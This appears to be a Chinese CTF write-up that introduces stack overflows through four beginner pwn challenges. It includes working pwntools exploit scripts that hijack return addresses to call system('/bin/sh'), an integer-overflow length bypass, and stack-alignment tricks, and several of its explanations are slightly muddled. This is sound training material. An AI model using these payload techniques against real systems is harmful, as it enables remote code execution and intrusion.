pwn:栈溢出初识

那我问你
过个年而已,你怎么pwnpwn的?

GIFT SWPUCTF2021

结构

file

1
ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=9671b6fc91bd7300442a2e8c2270070138e956b1, not stripped

checksec

1
2
3
4
5
checksec --file=/Users/choco/Downloads/img

RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 71 Symbols No 0 1 /Users/choco/Downloads/img

STACK CANARY 是 0 说明可能栈溢出

main代码

main

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
; Attributes: bp-based frame

; int __fastcall main(int argc, const char **argv, const char **envp)
public main
main proc near
; __unwind {
push rbp
mov rbp, rsp
mov eax, 0
call vuln
mov eax, 0
pop rbp
retn
; } // starts at 4005F7
main endp

int __fastcall main(int argc, const char **argv, const char **envp)
{
vuln();
return 0;
}

调用了vuln函数

vuln

1
2
3
4
5
6
7
ssize_t vuln()
{
_BYTE buf[16]; // [rsp+0h] [rbp-10h] BYREF

return read(0, buf, 0x64u);
}

调用read

这里出现 read(0, buf, 0x64u)

参数 含义
0 文件描述符,表示标准输入(stdin)
buf 缓冲区地址,用于存储读取的数据
0x64u 读取的字节数,0x64 = 100(十进制),u表示无符号

因为100大于buf[16]的16字节 所以多余的64字节覆盖相邻的栈数据(如返回地址)

这样就可控制一些栈数据

偏移量:

buf_size + 保存的RBP大小 这个RBP是基址寄存器(类似书签的作用)

也就是 16+8 = 24

(可以用pwndbg动态调试来确认)

再看一下函数执行点

shell

字符串搜索(Shift F12)

1770865010812.png

在gift中看到

1
2
3
4
5
int gift()
{
puts("Welcom new to NSS");
return system("/bin/sh");
}

这里可以用 bin/sh

并且题目给了地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
; Attributes: bp-based frame

; int gift()
public gift
gift proc near
; __unwind {
push rbp
mov rbp, rsp
mov edi, offset s ; "Welcom new to NSS"
call _puts
mov edi, offset command ; "/bin/sh"
mov eax, 0
call _system
nop
pop rbp
retn
; } // starts at 4005B6
gift endp

函数地址为0x4005B6

也可以text view

1
2
.text:00000000004005B6 ; int gift()
.text:00000000004005B6 public gift

ping出ip: 198.18.0.95

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
步骤1: 正常状态
+------------------+ 高地址
| 返回地址 (RA) | ← 0x401050
+------------------+
| 保存的RBP | ← 0x7fff_d080
+------------------+
| buf[64] | ← 未初始化
+------------------+ 低地址

步骤2: 写入64字节 'A'
+------------------+
| 返回地址 (RA) | ← 未变
+------------------+
| 保存的RBP | ← 未变
+------------------+
| AAAAAAAAAAAAAA | ← buf填满
| ... (64个A) |
+------------------+

步骤3: 再写入8字节 'B' (到达72字节)
+------------------+
| 返回地址 (RA) | ← 未变
+------------------+
| BBBBBBBB | ← saved_rbp被覆盖!
+------------------+
| AAAAAAAAAAAAAA |
| ... (64个A) |
+------------------+

步骤4: 再写入8字节 '\x34\x12\x40...' (到达80字节)
+------------------+
| 0x401234 | ← 返回地址被覆盖! 程序将跳转到这里
+------------------+
| BBBBBBBB | ← saved_rbp被覆盖
+------------------+
| AAAAAAAAAAAAAA |
| ... (64个A) |
+------------------+

程序执行ret指令时,从栈顶弹出"返回地址"
实际弹出的是我们控制的 0x401234
于是程序流程被劫持!

payload

1
2
3
4
5
6
7
8
9
from pwn import *

offset = 24

poc = remote('198.18.0.95',28045)
gift = 0x4005B6
payload = b'A'*offset + p64(gift)
poc.sendline(payload)
poc.interactive()

cat flag 即可

PWN1 CISCN2019 华北

1
2
3
4
5
6
7
choco@pwnbox:~/PWN$ file /Users/Choco/Downloads/PWN1
/Users/Choco/Downloads/PWN1: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=8a733f5404b1e2c65e1758c7d92821eb8490f7c5, not stripped

choco@pwnbox:~/PWN$ checksec --file=/Users/Choco/Downloads/PWN1
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 73 Symbols No 0 1 /Users/Choco/Downloads/PWN1

看起来依然可以栈溢出

main

1
2
3
4
5
6
7
int __fastcall main(int argc, const char **argv, const char **envp)
{
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
func();
return 0;
}

func

1
2
3
4
5
6
7
8
9
10
11
12
13
int func()
{
_BYTE v1[44]; // [rsp+0h] [rbp-30h] BYREF
float v2; // [rsp+2Ch] [rbp-4h]

v2 = 0.0;
puts("Let's guess the number.");
gets(v1);
if ( v2 == 11.28125 )
return system("cat /flag");
else
return puts("Its value should be 11.28125");
}

控制v2的值为11.28125

但是我只能get v1

看看get

1
2
3
4
5
// attributes: thunk
__int64 __fastcall gets(__int64 a1)
{
return gets(a1);
}

直接赋值的语句

然后注意到 v1和v2的创建是连续的 那么 45~45+4 就是 v2的地址?

算一下32位浮点数

1
2
3
4
5
>>> import struct
>>> struct.pack('<f', 11.28125)
b'\x00\x804A'
>>> hex(struct.unpack('<I', b'\x00\x804A')[0])
'0x41348000'

http://node7.anna.nssctf.cn:21104/

ip : 198.18.0.87

1
2
3
4
5
6
7
8
9
10
from pwn import *

process = remote("198.18.0.87",21104)

offset = 44

payload = b'A'*offset + p32(41348000)

process.sendline(payload)
process.interactive()

这有个坑

直接sendline会等不到猜数字

需要等待询问之后再利用get函数覆盖v1v2

1
p.sendafter(b"Let's guess the number.", payload)

所以

1
2
3
4
5
6
7
8
9
10
11
from pwn import *
import struct

process = remote("198.18.0.87",21104)

offset = 44

payload = b'A'*offset + struct.pack('<f', 11.28125)

process.sendafter(b"Let's guess the number.", payload)
process.interactive()

NSSCTF{995eb07c******-d65e36556ef2}

SWPUCTF2022 Integer-Overflow 32-bit

1
2
3
4
5
6
choco@pwnbox:~/PWN$ file /Users/Choco/Downloads/pwn
/Users/Choco/Downloads/pwn: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=7bff1590e9c7f422e8713bfa3023aaf4e9b39c30, for GNU/Linux 3.2.0, not stripped

choco@pwnbox:~/PWN$ checksec --file=/Users/Choco/Downloads/pwn
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 82 Symbols No 0 2 /Users/Choco/Downloads/pwn

main

1
2
3
4
5
6
7
8
int __cdecl main(int argc, const char **argv, const char **envp)
{
init(&argc);
puts("Ohhhh you choose pwn!?");
printf("\x1B[32m Do you want to pwn the world with me!?\n\x1B[0m");
overflow();
return 0;
}

int

1
2
3
4
5
6
void init()
{
setbuf(stdin, 0);
setbuf(stdout, 0);
setbuf(stderr, 0);
}

overflow

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
int overflow()
{
int v1; // [esp+Ch] [ebp-Ch] BYREF

puts("1.yes");
puts("2.no");
printf("Tell me your choice:");
__isoc99_scanf("%d", &v1);
if ( v1 != 1 )
{
if ( v1 == 2 )
choice2();
elsechoice();
}
choice1(); #v1==1, yes
return 0;
}

choice1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
ssize_t choice1()
{
_BYTE buf[20]; // [esp+8h] [ebp-20h] BYREF
size_t nbytes[2]; // [esp+1Ch] [ebp-Ch] BYREF

printf("\x1B[36m Good luck!!!\n\x1B[0m");
printf("\x1B[5m Tell me your name now!\n\x1B[0m");
printf("First input the length of your name:"); #length
__isoc99_scanf("%u", nbytes);
if ( (int)nbytes[0] > 10 )
{
printf("\x1B[31m Are u kidding??\n\x1B[0m");
exit(-1);
}
printf("\x1B[36m What's u name?\n\x1B[0m");
return read(0, buf, nbytes[0]);
}

这里__isoc99_scanf 只限制了长度不到10

读一个无符号整数 然后强转int 进行比较

那就可以利用一个大无符号 0xFFFFFFFF 或者 -1

int大于10 但是足够溢出 read

函数注入点方面

system@plt/bin/sh 字符串

LOAD:0804837B 00000007 C system

.rodata:0804A008 00000008 C /bin/sh

跟进可以找到plt#system: 0x08049100

system_address#system() → system_return$returnxxx → system_input#bin/sh

p32(0x08049100) + p32(0xdeadbeef) + p32(0x0804A008))

http://node5.anna.nssctf.cn:22231

198.18.0.82

BUF [rbp-20h] == 32

RBP(32位) == 4

offset = 32+4 = 36

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *

p = remote('198.18.0.82', 22231)

p.recvuntil(b"choice:")
p.sendline(b"1")

p.recvuntil(b"name:")
p.sendline(b"-1")

p.recvuntil(b"name?")
payload = b'A'*36 + p32(0x08049100) + p32(0xdeadbeef) + p32(0x0804A008)
p.sendline(payload)

p.interactive()

payload 结构是:

Padding + system_addr + return_addr + arg1

这是 x86 (32位) 的函数调用约定(CDECL),

BJDCTF 2020 babystack2.0

最后是一个64位的

node4.anna.nssctf.cn:

26155

1
2
3
4
5
6
choco@pwnbox:~$ file /Users/Choco/Downloads/pwn
/Users/Choco/Downloads/pwn: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=98383c4b37ec43aae16b46971bd5ead3f03ce0a6, not stripped

choco@pwnbox:~$ checksec --file=/Users/Choco/Downloads/pwn
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 75 Symbols No 0 1 /Users/Choco/Downloads/pwn

依旧栈溢出

IDA看一下代码

main

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
int __fastcall main(int argc, const char **argv, const char **envp)
{
_BYTE buf[12]; // [rsp+0h] [rbp-10h] BYREF
size_t nbytes; // [rsp+Ch] [rbp-4h] BYREF

setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
LODWORD(nbytes) = 0;
puts("**********************************");
puts("* Welcome to the BJDCTF! *");
puts("* And Welcome to the bin world! *");
puts("* Let's try to pwn the world! *");
puts("* Please told me u answer loudly!*");
puts("[+]Are u ready?");
puts("[+]Please input the length of your name:");
__isoc99_scanf("%d", &nbytes);
if ( (int)nbytes > 10 )
{
puts("Oops,u name is too long!");
exit(-1);
}
puts("[+]What's u name?");
read(0, buf, (unsigned int)nbytes);
return 0;
}

_BYTE buf[12]; // [rsp+0h] [rbp-10h] BYREF
size_t nbytes; // [rsp+Ch] [rbp-4h] BYREF

LODWORD函数是一个宏,用于从一个64位的变量中提取低32位的值

这里是全部低32位置零了

那么 -1 ( 0xFFFFFFFF FFFFFFF→ 0xFFFFFFFF00000000 )

int和unsigned int都是读低32位的 都是0

1
2
3
4
5
LODWORD(nbytes) = 0;

(int)nbytes > 10

(unsigned int)nbytes

整型溢出问题

看一下sink点

backdoor函数

1
2
3
4
5
__int64 backdoor()
{
system("/bin/sh");
return 1;
}

逻辑上 让nbytes成为一个大整数然后覆盖掉system执行的内容

BUF [rbp-10h] == 16

RBP(64位) == 8

offset = 16+8 =24

对于64位机器

遵循 System V AMD64 ABI 调用约定:

  1. 参数传递:前 6 个参数依次存放于寄存器 RDI, RSI, RDX, RCX, R8, R9 中,多余的参数才放在栈上。
  2. 调用 system:你需要让寄存器 RDI 指向 “/bin/sh” 的地址,而不是把地址放在栈上。

这里不采用INT题目的解法 不过题目system里面已经有了/bin/sh 直接调用就可以

或者我们直接调用backdoor吧

1770865010812.png

040073A

不过这里还有一个坑: Stack Alignment 栈对齐问题

因为远程环境(Ubuntu 18.04 或更高版本)的 glibc 中,system() 函数内部会调用 do_system,而 do_system 里有一条指令 movaps。这条指令要求栈顶指针(RSP)必须是 16 字节对齐的(即地址以 0 结尾)

当我们直接跳转到 backdoor (0x400726) 时,由于栈溢出改变了栈布局,进入 system 时 RSP 可能不是 16 字节对齐的,导致程序收到 SIGSEGV 信号崩溃

所以这里选择跳过函数序言(push rbp会让RSP减去8) 直接 0x40072A mov edi, offset command

方法一: 跳过序言

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *

p=remote("1.14.71.254",26155)

p.recvuntil(b"name:")
p.sendline(b"-1")

p.recvuntil(b"name?")
payload = b'A' * 24 + p64(0x040072A)
p.sendline(payload)

p.interactive()

方法二: 对齐栈

或者我们找一个可以用的ret指针, 相当于 pop ip

backdoor函数里面就有 040073A retn

1
payload = b'A'*24 + p64(ret_addr) + p64(backdoor_addr)

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *

p=remote("1.14.71.254",26155)

p.recvuntil(b"name:")
p.sendline(b"-1")

p.recvuntil(b"name?")
ret_addr = 0x40073A
backdoor_addr = 0x400726

# 先 ret 一次(对齐栈),再跳 backdoor
payload = b'A'*24 + p64(ret_addr) + p64(backdoor_addr)
p.sendline(payload)

p.interactive()

业余时间摸摸鱼